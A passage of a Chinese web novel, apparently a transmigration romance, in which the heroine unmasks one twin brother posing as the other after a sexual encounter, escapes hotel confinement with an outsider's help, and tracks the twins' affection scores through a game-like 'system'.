韶景戈担心他,罕见的逃了课,溜到医院里,在进门时听到了医生和母亲的谈话,“……双胞胎在母亲肚子里的时候,营养吸收不均衡,影响了小少爷的发育,才导致他天生更弱一点,平时要更加注意护养。” 韶母担忧点头:“对,他哥哥就很健康。” 医生叮嘱,“野生动物要少接触,这些动物不知道携带了多少病菌!比如小少爷这次接触的野鸽,看起来干净,但眼睛和脚都被感染了。小孩子抵抗力差的被感染了就容易进医院。” 韶母连声说,“我知道啦,我会好好保护他。” 韶景戈回忆当时的心情,他偶然得知自己是弟弟脆弱的原因,立刻转身跑了,当天晚上又买了晚餐去给弟弟陪床,然后详细询问了医生注意事项。 他慢慢讲述,“……小时候身体不好,导致全家人对我都很关心,韶景戈也是。所以有时候可能会反应过度。” 安蔓好奇:“比如?” 韶景戈试着从弟弟想了想,举了一个例子,“我有一次和同学打架,输了,觉得叫家长胜之不武,悄悄自己处理了。结果被我哥发现了,第2天那个同学转学了。” 安蔓和他十指相握,表情专注,瞪大了眼睛,细细倾听这对双生子童年的故事,“还有吗?” 韶景戈想了想,又讲了一会儿:“我挺喜欢小动物的,有时候经常会往家里捡,比如说鸽子、蛇这种的,经常因为这种事进医院。” 后来韶景戈和韶家人都学会了,韶景荻捡什么,他们扔什么。韶家人扔,韶景荻还会哭闹撒泼,只有韶景戈出手才治得住他。 韶景戈回忆:“长大了,渐渐身体变好了,他们才让我养。” 安蔓坐在他身上,贴着他的胸口,柔软的手指轻轻抚胸肌,“小狗狗,真可怜,他们擅自做主你也不生气吗。” “生气,但我知道我哥是为我好。”韶景戈颔首,“而且我兴趣来的快,去的也快,找到新的感兴趣的东西就没事了。” 安蔓恍然,合着就是全家人都对弟弟保护欲过剩呗,然后她不巧成了阻碍弟弟健康的因素,所以被这位好哥哥带走“清除”。 她假笑道,“原来你们的关系这么好啊,真是对好兄弟啊。对了,你不是说你和你哥哥兴趣相同吗,因为你,他从小也没法养宠物,不怪你吗?” 韶景戈愣了一下,似乎没想到她会问这种问题。 他顿了一下,才慢慢开口,“不会。我们的东西都是共享的,长大后的宠物也是一起养的。” 安蔓轻哼了一声,搂着他的脖子,睡袍上的肩带自然滑开,露出里面贴身的性.感睡衣。 她才不管这对兄弟多少童年心事,是不是有一方被父母偏爱,有什么悲惨遭遇。 两个人从小到大,不管是兄弟情深还是互相怨恨,都和她无关。她只牢记了一点,这两人兄弟情深,彼此在意,所以攻略必须攻略双份的。 安蔓搂着韶景戈的脖子,轻声调笑,“那不是我谁要被你们共享?真可怕。” 韶景戈抬起眼,听出她声音的笑意,“……你愿意?” 安蔓声音甜丝丝的,解开外套,坐在他腿上摸了摸保温杯,轻哼几声,笑的直白又媚俗,“没关系,我胸围广,性格好,你只要伺候好我,给你哥哥讨一个情人的名分还是行的。” 韶景戈抬头,深深看了她一眼,终于意识到两人过分接近的距离,伸手想要推开她。 安蔓却低下头,在他耳边轻笑,咬字清晰,“韶、景、荻。” “弟、弟。” “你买t了吗?” 她刻意强调的身份,伸手按着他的肩膀,感觉到他停止了挣扎。 安蔓轻哼,在意弟弟、不想和弟弟抢人,这种态度完全是惺惺作态! 她刻意提醒对方,现在他的身份并不是韶景戈。 他现在是“弟弟”。 既然是弟弟,就没必要个背着那些七七八八的行为枷锁限制自己。 安蔓咬着嘴唇,眨了眨眼睛,“买了吗?” “……” 韶景戈说,“……买了。” 安蔓外套滑了下来,掉在地上,只露出了里面的黑色真丝睡衣,先被韶景戈按照前几天的规格又伺候了一遍。然后懒洋洋的躺在沙发上,看着他做好了保护措施,戴上…,俯身将她抱起来。 安蔓双腿夹着韶景戈的腰,被他抱了起来,脸颊红了起来,一边轻笑,一边在他耳边怂恿,“我有很多地方想试试,弟弟,陪陪我吧。” 韶景戈:“什么地方。” 安蔓悄声细语,跟说悄悄话似的,“比如说落地窗,厨房,地毯上,浴缸里……之类的。” 韶景戈笑容灿烂,将她轻轻松松的抱起来,瞳孔颜色渐深,垂头看着她,轻声说,“好。” 安蔓被压在透明的落地窗上,裙子开了,只穿着…,身前冰冰凉凉,身后贴着温热的皮肤,感觉十分微妙,眼睛还能看到窗外的风景。 虽然这是郊区的酒店,但是格调不低,周围是一片景区,到了节假日,来往的人不少。她视力不错,能看到到对面的酒店窗户和楼底下来往的小车。 小车川流不息,开快了就容易发生意外,此刻就发生了一场车祸,两辆小车互相碰撞,发出巨大的砰、砰声,然后油水乱溅,车衣脱落。意外发生后,尖叫声,呼救声,喘息声,不绝于耳。 安蔓贴着玻璃,轻哼,幸好这里的窗户都是单向可视,没有走光的风险。 但这种感觉还又怪异、又刺激。 安蔓弯着嘴角,贴着玻璃,落地窗经过皮肤熨贴,渐渐的被捂热了。 从冰火两重天变成了前后都是火焰。她好像掉进了火堆里,又热又烫,浑身出汗,额头上汗涔涔的,漆黑的发丝被汗湿了,在光洁泛红的肩膀上一唱一唱,脸颊鲜红,一张口就吐出热气。 她哼哼唧唧地埋怨韶景戈,“你、你还是太青涩了,呃!这种事要多多学习,苦练技术,才能提升,知道、吗。” 韶景戈低头看着安蔓,深灰色的眼睛里映出她的身影,指尖不自觉的 按在她潮红的脸颊上。嘴唇在她唇边碰了碰,灿烂说,“和你多多学习,苦练技术,一起提升。” 安蔓轻哼,搂着他的脖子,撒娇道:“还学会贫嘴了。” 韶景戈抱着她让她回头,两个人面对着面,灰瞳孔里印着她的脸,浑身的泛粉皮肤,潮红的脸色,…的表情。 他心跳的很快,胸口鼓噪,耳边某种声音轰轰作响,可能是空调也可能是他剧烈的心跳,心跳从胸口蔓延到全身,直到神经末梢,让他指尖也忍不住轻轻抽搐。 他浑身热气,有点头晕,空调已经开得很低了,可仍然浑身发热,陷入这场混乱的漩涡中。 安蔓轻轻咬着嘴唇,忽然收回一只手,轻拍他的脸,额头抵着额头,脸凑得很近,眼睛闪闪发亮,“我们这算是确定关系了吗?韶少爷,这个时候你应该喊我什么?” “……女朋友?” 安蔓不满,拍了拍他的肩膀,勾了勾鲜红的嘴唇,柔声道,“是不是省略了一部步。” 韶景戈抵着她的额头,两人都额头发烫,有些头晕目眩。 正常的步骤是,应该先告白,再答应。 他轻轻吸了一口,仿佛被人牵着走,又好像是自己主动跟着走,这个混乱的晚上完全是不必要的多余的,他警告自己现在是韶景荻,这个晚上和上次一样是意外,经过了今天之后,要把它抛在脑后。 韶景戈心情渐渐平静下来,激越的心跳却不受控制,砰砰乱跳,他再次告诫了自己几句之后,勉强维持平静,瞳孔温和,笑容灿烂说,低头说,“我喜欢你。” “哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈!”安蔓突然大笑起来。 韶景戈低头,她俯身在他耳边笑起来。 安蔓捧腹大笑,“哥哥你演技好差!” 第87章 第87章风雨欲来 87. 韶景戈表情近乎凝固了,身体也凝固起来,面无表情,只剩下一双深灰色的眼睛轻微转动,死死盯着她的脸。 安蔓嘴唇鲜红,睡裙还挂在身上,只是里面的衣服没有了,全身暧昧的吻痕,整个人还挂在他身上紧紧相连。 她笑的前仰后合几乎停不下来,好半天才抱着他的脖子,将头埋进他的胸口,一下一下地抖着肩膀。 “哈哈……哈哈哈!” 韶景戈全身僵硬,深灰色的眼睛瞳色幽冷,一眨不眨地注视她。 安蔓搂着他的脖子,双腿勾住他的腰蹭了一下,肩膀抖动,“抱歉,我本来不想这时候拆穿你,但是没忍住哈哈哈哈哈哈!” 韶景戈终于反应过来,一下子将她重重推开,压抑着声音,“你骗我!” 安蔓歪倒在地毯上,冷淡漂亮的眉眼间,缓缓勾出一抹清丽绝艳的恶毒笑意,“是啊,哥哥。我也没想到你这么容易上当受骗。” 韶景戈的脸色一阵青一阵紫,脸色冷的吓人,他像是被人凭空泼了盆冷水,瞬间清醒过来,“你一开始就认出了我——不对,你刚开始还不知道我是谁,不然不可能跟我走。” 安蔓睡裙吊带细细的,勒在手臂上,胸口领子要掉不掉,风光无限,裙摆只能堪堪遮住大腿,露出颤巍的雪白腿肉。 她也不着急遮,也不站起来,就着那个姿势懒洋洋地上下欣赏韶景戈的表情。 她心情愉快,进展顺利,这人上钩的比预期还快。 这人表情面目全非的样子,也比想象中好看。 比起他隽秀斯文、风度翩翩,扯着一张温雅虚伪、装腔作势待人接物的样子,现在的他赏心悦目多了。 安蔓也不小气,不吝啬回答他的疑问,“很简单,哥哥,那天晚上住旅馆的时候我就发现了。” 韶景戈脸色铁青,“你一开始就想好了。” 安蔓慢吞吞的穿好衣服站起来,她身上有点黏黏腻腻的,不太舒服,事做到一半中断,不上不下也怪让人不爽的。 但一切不愉快,都在看见对方那张脸的时候烟消云散! 安蔓忍不住又笑起来,歪倒在沙发上脸,伸手捂住唇角,露出一双弯弯的眼睛,闷笑道,“哈哈……不好意思嘛,实在是太有趣了。哎呀,不要生气嘛,哥哥,如果你不介意的话,我们其实可以继续做完的。” 韶景戈面无表情,瞳孔冰冷注视她。 安蔓眼睛弯弯的,嘴角向上翘,发尾微微潮湿,贴在雪白纤细的脖颈上,整个人气色极佳,懒懒散散,仰躺在软软的沙发上。 她漆黑漂亮的眼睛微微弯起,睫毛颤抖着,纤细的手指捂住嘴唇,低低闷闷的笑声从喉咙里泄露出来,声音轻柔悦耳,好听极了。 “哥哥,不要搞得这么鲜血淋漓,痛彻心扉的样子,好像我把你伤透了。可这也不能怪我呀,本来就是你先开始的,你先装成韶景荻的样子故意骗我。” 安蔓轻笑,“你讲讲道理嘛,明明是你先骗我的,不要做出这种受害者的模样。” 韶景戈一言不发,穿好衣服,他被狠狠羞辱了一顿,明明应该转身就走,摔门而去,脚却像是被钉死在原地,“你可以骗我,但是没必要像刚刚那样……做那种事!” 安蔓轻哼,那种事怎么了,她刚刚本来还想做完呢,是韶景戈自己不要,“我又没强迫你,我们俩之间,你情我愿的。” 她见对方那一向翩翩有礼的风度维持不住了,笑眼弯弯,十分愉悦,像喝了大补的甜汤。 安蔓非常记仇,今天出了口气,连眉眼都在飞扬,“而且哥哥你也太装了,谁知道你会披着弟弟的身份做这种事,要是弟弟知道了怎么办,哈哈哈哈!” 韶景戈不想再接受她的羞辱,转身就走。 刚走几步,又被人从身后叫住。 安蔓说:“哥哥,你等一下。” 韶景戈停住脚步,没有回头。 安蔓又笑起来,声音轻轻柔柔,微音有点细,像是憋笑憋不住了,“能不能让我跟你弟弟打个电话,我好久没见他,想他了。” 韶景戈被气笑了,恨不得转身掐死她。 他咬紧牙齿,头也不回,大迈步向外,摔门而去! “哈哈哈哈!”安蔓倒回沙发。 安蔓和他干了半天,口干舌燥,笑得太久,喉咙也有点哑了,赶紧在旁边倒了一杯水,小口小口地喝完了。 她喝完了之后,洗了个澡,重新换了一套衣服,蜷缩在床上,愉悦的勾起嘴角,“系统,看一下韶景戈的好感。” 系统投出好感,【韶景戈好感:80。】 安蔓单手托着下巴,眯起眼睛,查看好感变动的时间。 果然,就在刚刚她揭露认出对方的时候。 她忍不住点点头,印证了猜测,“果然,认出他们两兄弟是一道坎。” 系统冒了出来,心惊胆战地看着好感度,忽上忽下,变动不休。 好感一会儿80,一会儿掉到40,一会儿又变回80。 它受不了了,电子音难受的一卡一卡,“宿主你体谅一下我好不好,不要每次都这么剑走偏锋,我真的怕你把他们玩崩了,在攻略成功把你掐死!” 安蔓才不管他,琢磨着好感度的最后一道坎是什么,指尖勾起一缕黑发,“你不懂,爱就是恨。” 系统确实不懂,但它能看好感度,“我真的求你了,你看这个好感都跌成什么样了!” 安蔓一本正经,细细解释道,“都说了你不懂,你看他们那些天之骄子顺风顺水,讨好他们的人多了去了,有几个人能给他们留下印象?就要像我这种剑走偏锋的邪恶坏蛋,才能吸引这群天龙人目光。” 系统听了一会儿,居然觉得有几分道理,狐疑,“真的。” “真的。” 安蔓一秒破功,憋不住笑起来,“主要是这样我比较爽,都玩游戏了,肯定是自己开心最重要。” 系统,“……这不是游戏,宿主如果你通关了 ,就要选择回到现实世界还是留在这里,如果你要留在这里,当心翻车。” 安蔓眼角弯弯,缩进被子里,将被子拉高覆盖在肩膀上。 空调开的很高,凉丝丝的将刚才的燥热退得一干二净。 她摆了摆手,漫不经心,自信满满地跟系统说,“放心,我这种全才你你知道,绝不可能翻车的!”. 安蔓发现那天开始,韶景戈就离开了,他不再出现,不再和她见面,也没将她赶走,而是任由她在这个套间住着。 安蔓尝试着出了一次门,结果刚出套房就被人拦下了,恭恭敬敬地请她回去,更是演都不演了。 她无聊又尝试着砸了一次房间,韶景戈没有出现,反倒是套房的管家进来敲门,好声好气地解释,“安小姐,马上就会有人来收拾这里,请你稍加等候。” 安蔓坐在沙发上,翘着二郎腿,心不在焉,“韶景戈呢。” 管家仿佛没有听到她直呼其名,面不改色,“韶少爷应该忙去了,最近没有回来,有什么事我可以为你传达。” 安蔓等着人来收拾混乱,试探问,“我什么时候才可以离开?” 管家脾气很好,慢慢解释,“最近外面情况不好,好多地方都封路,暂时不方便让您离开。” 安蔓站起来,见打扫卫生的人来了,站起来给他们让出一块地,诧异问,“韶景戈都这样了还不放我走?” 管家弯下腰,恭恭敬敬说,“那位少爷走前没有留话,但他交了一个月费用,您可以继续住在这。” 打扫卫生的人和管家一起退了出去。 安蔓站在焕然一新的套间,撇了撇嘴, 韶景戈也太小气了,她都没生气,他有什么好气的,不就是被骗吗!至于这么斤斤计较吗。 幸好她本来的目标就不在他身上。 安蔓坐在沙发上又过了一会儿,按了响铃,吩咐说,“给我一杯玫瑰茶。” 过了一会儿,上次端茶来的工作人员又出现了,双手捧着茶杯,放在一边,“安小姐,你好。” 安蔓端起玫瑰茶,轻啜一口,大概是心情原因,这次的茶喝起来更加醇香,口感极佳,“你是慕玉泽的人吧,请你替我询问他,能帮我找一个手机吗?” 工作人员低了低头,等她喝完了茶,端起茶杯走了,“好。” 第二天,工作人员来的时候,背对着监控给她塞了一部手机。 安蔓当天穿了一套宽松的睡衣,顺手将手机塞到口袋里,按照日常作息回了房间。 她砸套间的时候,顺手把所有明面上监控砸了,但不确定还有没有微型的,转了一圈躲进厕所。 手机是最新款,粉色手机壳,大屏幕,没有密码,外观赏心悦目,手感流畅。 安蔓打开手机,通讯录上只有一个号码,她无视了它,打开TEL,登录账号,在备忘录里找到韶景荻的号码,拨打过去。 几分钟后,韶景荻声音从电话那头传来,轻飘飘的,不知为何有气无力,“谁。” 安蔓声音甜甜软软,夹着嗓子,打了个招呼,“韶小狗,我和你哥睡了。” “……” 对面半天没有开口,良久,才苦笑说,“我知道。” 安蔓想了想,反应过来,“哦对,你们是兄弟,在偶尔、特殊的时候有…感。” 韶景荻的声音闷闷的,像是心脏和声音都缩成了一团,嘴巴张了半天,最后只能吐出一个音节,“嗯。” 安蔓语调娇娇俏俏,她打这个电话,倒没其它目的,就是想试试刺激一下好感度能不能大幅提升。 她想了一下,加了一句评价,“我和你哥哥睡了,他挺不错的。” 韶景荻就算知道她没心没肺,还是被这句话刺了一下,感觉心脏蜷缩成一团,密不透风,几乎窒息,“……我知道了,你不用重复。” 安蔓回忆了一下前几天,和他哥讨论的这两人的童年。 他们从幼年时期,关系便非常好,兄友弟恭延续到了现在。韶景戈对这位弟弟十分在意,韶景荻看起来同样如此。想要攻略两人,首先需要同时刷两个人的好感、能够认出他们是谁。 第2个关键点,她还是没有找到。试探完之后,打开系统页面,两个人的好感还是纹丝不变,不由的有点苦恼。 她准备挂电话了,“小狗狗,下次再聊,再见。” 韶景荻突然开口,打断了她,声音酸酸的,带了醋意,“安蔓小姐,韶景戈明明答应过我不会对你出手的!” 安蔓挂断电话的动作,缓缓停住,没想到他还挺执着的,刨根问底。 她轻轻微笑,来都来了,索性一次性刺激到底,“他确实没有出手,是我主动的,弟弟。” 韶景荻的声音毫无愉悦,又烦又闷,充满酸涩,轻轻问,“为什么?” 哪有那么多为什么,因为他长得好看,各方面本钱也好,做起来舒服,更重要的是趁着这个机会试着攻略一下,看看好感度是否会上升。 安蔓眨了眨眼,声音悦耳清甜:“因为我想你了,韶小狗,都怪你哥长得像你,让我一时间意乱情迷。不信你问你哥。” 她睁眼说瞎话,又刺激了对方一波,打开系统页面,发现好感度依旧是毫无波澜,顿时一阵泄气,挂电话了。 “再见,韶小狗,下次见。” 韶景荻挂了电话,表情平静,问旁边的技术人员,“找到她的地址了吗?” 对方点了点头,“找到了。” 韶景荻问,“在哪。” 对方在电脑上打开地图,6区的一家酒店闪烁着红点,刚刚的电话他没有外放,江赫、崔英朗此刻不在身边。 但很可惜,找到安蔓位置的不是他的人,不可能为了他保守信息。安蔓的位置,会在被侦破的第一刻同时发到江赫和崔英朗的手机里。 现在,就看是谁先找到那!. 安蔓挂了电话,略感可惜,双生子好感度居然毫无上升。 她没有遗憾太久,飞快的点开通讯录,拨打了上面唯一一个号码——慕玉泽的号码。 慕玉泽,这个全书里面钦定的唯一搅屎棍,含金量体现在,自从他出场后,他就像是闲的无聊,不管什么事都爱踩一脚。 因为与其他几位男主一起长大感情不错,所以尤为爱参与他们的事情,偏偏做的基本上不是好事! 他本人父不疼母不爱,资历出众,长着一张绝佳的脸庞,又是模特,可惜因为出生时难产加上从小性格怪异被父母厌恶。慕父慕母自从放弃了他,生了二胎之后,就完全把心思放在了自己小女儿身上,一心一意培养她。 因为才学出众,被他的爷爷隔代钦点为继承人,这件事更加引起了亲生父母的憎恶。 在书的末期,他搅天搅地,到处为非作歹,快乐无比。可惜最后爷爷突然去世,遗嘱失踪,家里财产的移交手续还没有办完,他陷入了与父母的资产争夺中,闹得一团乱麻。是一个可悲又可恶的角色。 不过对安蔓来说,她又不需要攻略对方,反正是自己贴上来的货色,玩玩就好。 电话通了,对方声音柔和,甜如蜜糖,“你好,安小姐。” 安蔓也夹着嗓子,声音又软又甜,“慕少爷,你说过,如果我有需要可以找你,是真吗?” 慕玉泽轻轻一笑,“当然是真的,请问你需要我为你做什么呢?” 安蔓现在只需要一件事,就是跑路! 韶景戈现在完全不见她,不管是安蔓打东西骂人歇斯底里,对方打定主意不回应她,一心把她送走、关起来。 联系其他几个人,也不是好方法,韶家兄弟首先肯定是一心的,联系崔英朗这个选项,必须第一刻排除,至于江赫,他太不靠谱,居然能在路上把安蔓弄丢! 更重要的是他手里有她的病例,这几个人不管找谁都有极大的可能,把她关进医院里强行治疗。问题是她的身体再攻略几个人就好了,这样下去反而适得其反。 安蔓声音柔弱,“慕少爷,你可以帮我逃跑吗?我不想在这里待了,也不想被人送到荒郊野外关起来。” 慕玉泽听起来很热心,“那你有想去的地方吗?” 安蔓摇了摇头,“没有说实话,如果是我自己选,我肯定选择那些度假胜地,但是我知道不能这么麻烦你。” 她夹着声音,用那种自己听了都恶心温柔,如同憔悴小白花一样柔弱无助,惶恐茫然的声音,请求对方,“慕少爷,只要你能带我离开这,去哪都行。” 慕玉泽若有所思,很干脆地答应了她的请求,笑道,“好,那你跟我走吧。” 安蔓追问,“什么时候?” 慕玉泽站在慕家庭院,慵懒地伸了伸懒腰,目光一一扫过院子、房子,觉得这个环境很适合住人,也适合为人添堵,“择日不如撞日,不如就现在吧。” 安蔓诧异,“那么快?” 慕玉泽叫来了管家,慕家常年是他父母当家,管家常年累月为他们办事,自然也是和他父母一条战线,被他叫过来的时候满脸的不情不愿。 “少爷,有什么事吗?” 慕玉泽嘴角含笑,眼眸湛蓝看起来赏心悦目,如同耀眼的宝石,“你去给我安排一个房间,我有朋友要住这里。” “什么朋友?” “我也不知道,才刚刚认识,可能是普通朋友,可能是女朋友,唔,也可能什么关系都没有。” 慕玉泽嘴角含笑,看着管家不情不愿的表情,心情略感愉悦,“把房间布置好,一切都要最好的,标准要和我父母的房间一样,知道吗?如果我回来之前还没布置好,我就把我爸爸的房间砸了。” 管家敢怒不敢言,这个混世魔王是真的能做出这种事,慕家全家都害怕他又厌恶他,因为他真的是个不折不扣的神经病,他是个变态! 他从小精神就不正常,反社会人格,报复欲强,缺乏同情心,被慕家老爷子接回去强行养了这么多年,回来还是一副这么不正常疯疯癫癫的状态。所有人都希望他滚远点,偏偏他就是不走! 慕玉泽吩咐完了之后,让人开车,开到酒店附近,他一早就监视好她的位置,因此找起来毫不费力。 这位校花小姐上一次带的酒店,是韶家自己开的,戒备森严,无论做什么都不方便,倒是这家酒店和韶家关系不大,买通起来还轻而易举。 而且最近,韶景戈本人不常出现在这家酒店,这也给了人许多可乘之机。 安蔓这一次依旧一路顺利,让她疑神疑鬼,直到上了车,才松了一口气,“谢谢慕少爷。” 慕玉泽嘴角含笑,微微摇头,他长相纯情,睫毛浓密修长,金发微长垂到脖梗,像慵懒的波斯猫,“不客气。” 安蔓不需要攻略他,也懒得琢磨他的心路历程,直入主题,“谢谢你,慕少爷,请问你需要,我帮你做什么?” 慕玉泽摇头,伸出一根手指放在唇边,示意她暂时安静,将车开到一边的角落,“嘘。” 安蔓安静下来,好奇顺着他的目光看过去,只见几辆豪华轿车一路驰骋,停在她刚刚离开的酒店门口。 接着,崔英朗、江赫、韶景荻从车上走下,被一群人簇拥着,浩浩荡荡的向酒店走去。 安蔓化成灰都能认出这几个人的背影。 “嘘。”慕玉泽说,“他们是来找你的。” 安蔓突然开始头晕,视力也渐渐变得不清晰,手指轻轻颤抖起来,双腿发软,有一种沉重的窒息感,要是再晚一点她就正面遇上这三个人了! 她呼吸困难,纤细的手指重重揉捏太阳穴。 其中一个可以应付,两个勉强能蒙混过关,三个——尤其是其中有个崔英朗,叫地狱。 “我的目的很简单。”慕玉泽眼角弯弯,眼睛里却没有情绪,“你看我的朋友们都喜欢你,争夺你,说明你就是最好,既然你是最好的,那我为什么不可以要?”. 崔英朗走进酒店,随便找了个人领路,一路到达顶层,但是打开门时房间里,已经空空荡荡空无一人。 不仅没有安蔓,连韶景戈也不见人影! 几个人自从发现定位的第一时刻,就派了车,以最快的速度绕开了封路的路段,到达这里,却扑了个空。 “人呢?”崔英朗的声音近乎轻柔。 崔家暴力的大少爷、权贵上层近乎人尽皆知,酒店的经理就有幸看见过他发起火来、暴戾心狠的模样。 但这是他第一次见识到这种诡异的平静。 像平静的水面下波涛暗涌,有一种静到极致的恐怖。 所有人闭着嘴不敢开腔,一群人犹豫片刻,终于有个人被推出来和他说话。 “崔少爷,你是来找安小姐的吧?抱歉,她上午还在的,还要了几碗玫瑰花茶。” 管家也纳闷,明明上午人还在,而且还送了早餐午餐,结果现在人就不见了。 他心惊胆颤,不敢多看崔英朗令人胆寒的金色眼睛,急忙低下头。 他第一次见到这么吓人的贵族子弟,最重要的是,租赁套间的那位韶家人不在,没人能在前面顶住这位崔大少爷,他只能硬着头皮开口, “安小姐是七天前来我们酒店的,当时是一位韶先生订的房间。” 管家结结巴巴的说这几日这位小姐的情况,压力之下,他脑袋空白,内容也颠三倒四,“安小姐这几天在房间的日常,就是看电视,她点了许多点心,要求我们送到房间里,还让我们去买了一些杂志,不过都收到书柜里面了,看起来没有怎么翻。” “韶少爷联系我们,订了一个月的房间后,很快就带着那位小姐来了。我们也不知道他们两个人是什么关系。不过他们进门的时候,相互搂着手,看起来像一对情侣。” “韶少爷前几天不怎么来,后来有一天,安小姐受不了独自一个人过夜,砸了房间,让他留下了,但那天晚上他没有停留很久,半夜走了。 “说说那天半夜。”崔英朗打断。 管家被他吓了一跳,只能绞尽脑汁的回忆, “那、那两位可能是私奔的情侣,那天好像是发生了关系,具体发生了什么我们也不清楚,只知道那位少爷半夜走了,第二天卫生员去清理的时候,还扫出了几个套。” 第88章 第88章假扮女朋友 88. 韶景荻没心情再听下去,游魂一样出了酒店,“扫出几个套”几个字在耳边不断回荡。 他大脑嗡嗡作响,胸口隐隐胀痛,没心情去观察另外两个人的反应,确认安蔓跑了后,独自走出酒店。 站在酒店门口,被冷风一吹,感觉头更晕了。 他上了车,司机和几个跟着来的保镖跟了上来。 司机看了一眼后视镜:“少爷,去哪?” 韶景荻揉捏着额头,被风吹的头晕,脸颊发红。 他吸了吸鼻子,感觉额头有点热,“回家。” 韶景戈离开酒店后,将脑袋清空,把安蔓清出大脑不留一丝缝隙,直接回了公司。处理完之前积压的只能线下处理的业务,才收到了崔英朗几人赶去酒店、扑了个空的消息。 他停顿片刻,打开手机,想看有没有韶景荻的消息,发现里面堆满了父亲发来的语音,“阿戈,你弟弟病倒了,赶紧回家一趟。” “你要出去、想一个人休假,这么多天不着家,我们都听你的,但你弟弟生病了,你总得回家看看吧?!” “你们到底在闹什么?兄弟之间有什么事好好沟通,公司的事都放一放,你现在赶紧给我回来!” 韶景戈关了手机,开车回到韶家。 他弟弟很多年没有生病了,这次突然着凉,全家兵荒马乱,都想起了他小时候隔三岔五呕吐住院的惨烈经历。 佣人跑上跑下,又 是炖粥,又是熬药,空气里漂浮着一股草药味。 韶景戈回了家,脱下外套,有个经常办事的跑腿帮他接过外套,挂起来,一边小声提示,“理事长和夫人都在小少爷房间。” 韶景戈点了点头,温声道谢,转身上楼。 父亲母亲都在韶景荻的房间里,见他来了,对视一眼,默契出门,给他们单独说话的空间,“你们兄弟有事好好聊,不要吵架。” 韶景戈对着父母轻声应了,“好的。” 然后关上了门。 韶景戈面色温和,垂下眼睫,看着弟弟,他们都知道发生了什么。 两个人一时间没有说话。 半晌,韶景戈开口,“我本来准备明天早上将安蔓送走,我上个月买了一套山居别墅,位置非常偏僻,但周围环境很好。” 韶景荻脸色微微发白,鼻间堵塞,声音瓮声瓮气,“哦?” 韶景戈声音温和,慢慢解释,“我原本准备将她送走,等一年后,如果你对她还感兴趣的话,再接回来。如果她对你忠诚,我会同意你们在一起。” 韶景荻心中憋闷,语气也冲,“是吗?” 韶景戈点了点头,他说的是真话,他从头到尾都没有放弃安蔓送走的打算。 安蔓对他弟弟的影响太大,如果继续下去,不知道还会让他受多少伤。 只有暂时隔开,才是最佳之举。 韶景戈风度翩翩,声音柔和,语气自带令人信服的魔力,“这几天我没有回酒店,也没有见安蔓,她应该是联系了其他人逃跑了,如果你想见她,我会帮你找。” 韶景荻平静地看着他,眼神失望,提高嗓子,声音炸的两个人的耳朵嗡嗡作响,“那你和她睡了也是为了我吗!” 他哥从来没有骗过他,第一次失约,居然是在这种事上,和安蔓一起。 不仅打着为了他的旗号,带人私奔,还撒谎欺骗他,说要保护他。 他太了解韶景戈,就像了解自己一样,只是有时候会刻意装傻。现在他装不下去了。 韶景荻喃喃自语,“哥,我以为你永远不会骗我的。” 他兄长一言不发,沉默地看着他。 韶景戈张了张嘴,最后闭上,什么也没说。 韶景荻心中烦闷,捏着拳头,恨不得打他一拳,话语像是在问他,也像是在问自己,“你怎么能骗我呢!” 韶景戈沉默几秒,开口,“抱歉……” 韶景荻冷脸,“滚出去。” “好。”韶景戈低声:“我帮你把药端进来。” 韶景戈打开门,从外面端来一碗浓稠的药汁,放在床边,放下几颗糖,在原地站了几秒,低声说“对不起”,然后才转身出去。 药汁漆黑,气味苦涩,难闻极了。 韶景荻站在原地,瞪着关上的门捏紧了拳头的,刚才差点一拳揍了上去。他知道这段时间安蔓和他哥两个人一定发生了一些故事,但他不想听。 胸口好像烧着一团火,让他整个人又闷又燥,呼吸间带着火气,不久又有人敲门,问他,“少爷,你的药喝完了?” “滚!”韶景荻脱口而出,又抿着嘴唇。 他深吸了一口气,伸手去摸药碗,药汁已经变的温凉,他捏着鼻子,一口气把药喝完了,满嘴苦涩。 本来不想吃糖,过了一会,还是忍不住撕开一颗,扔进嘴里,把水果糖块当成兄长用力咬下,咬的咯咯作响。 含了半天,甜味盖过苦味,水里只剩下荔枝糖甜蜜的味道。 他掏出手机,拨通最近联系人,电话没通。 过了一会,一个新号码打了进来,安蔓柔软的声音从那头传来,“韶小狗?” 韶景荻又吃了一颗糖,满嘴甜味,抱怨,“你又走了,我们扑了个空,你还和我哥睡了!” 安蔓刚才就想接电话的,结果慕玉泽说原来那台手机容易被追踪位置,给她了一台新的。 她一接电话,就听到这么一连串话,轻轻笑了,“是啊,还不止一次。” 韶景荻声音酸溜溜的,“他明明答应过我的不和你上床的。你骗我就算了,他居然也骗我!” 安蔓微微挑眉,什么呀,这是兄弟吵架、闹翻了吗? 她最喜欢看兄弟阋墙了,特别是韶景戈这个喜欢装腔作势的货色,和最爱的弟弟决裂了,那张脸露出的表情,真是太让人期待了。 韶景荻声音低落的像是被雨淋湿的小狗,“刚才我真的气疯了,恨不得狠狠揍他一顿!我们还扑了个空,我真的好久没见你。你是我喜欢的人,他是我哥。我都没和你睡过,他凭什么!” 安蔓拱火,事不关己地赞同道:“真是太过分了。” 韶景荻抱怨了半天,声音突然低了下来,话风一转,口吻释然,肩膀渐渐松懈,仰头坐在床上,手背遮住眼睛,……“但是韶景戈又对我很好,他是我哥,是这个世界上对我最好的人,我没办法怪他。” 韶景荻用手背蹭了蹭眼睛,心情古怪。 和哥哥喜欢上了他喜欢的人,还对他失约,非常过分。 但是两个人就是双生子,一起长大,在恋人上最后也保持一样的步调,又让他有种扭曲的愉悦。 他气愤、伤心,但又有点开心。 混乱的情绪,让他大脑混乱,仿佛被人扔进榨汁机,搅成烂泥。 韶景荻的声音,和心情一样扭曲又古怪,“……比起让你被他们找到,我宁愿你和我哥在一起。” [韶景荻好感:100。] 安蔓很失望,还以为他们会吵起来。 但是随后响起来的电子音又让她的心情愉快起来。 安蔓眼睛弯弯,声音甜甜的,心情很好,“你这种心态保持的很好,再接再厉。” 安蔓高兴了,不吝啬语言,甜甜画饼,“小狗,我也想你了,快去说服你哥。等你什么时候让他同意我们三O行,我就不跑了,和你们永远在一起。” 韶景荻挂了电话,长出一口气,虽然胸口还是闷,但是比刚才好一点了。 他端着药碗出去,交给佣人,低声道歉,“抱歉,我刚刚心情不好。” 然后走下来,找到兄长。 韶景戈站在阳台,一言不发,膝盖放着没有翻动的文件,阳光照着他轮廓分明的俊朗侧脸,使他朝向门内的那一侧脸一瞬间看起来有些森冷。 那种刻骨的阴冷感,在听到韶景荻脚步声的一刻消失,他重新露出了那种温和、沉稳的表情,“阿荻,你来了。” 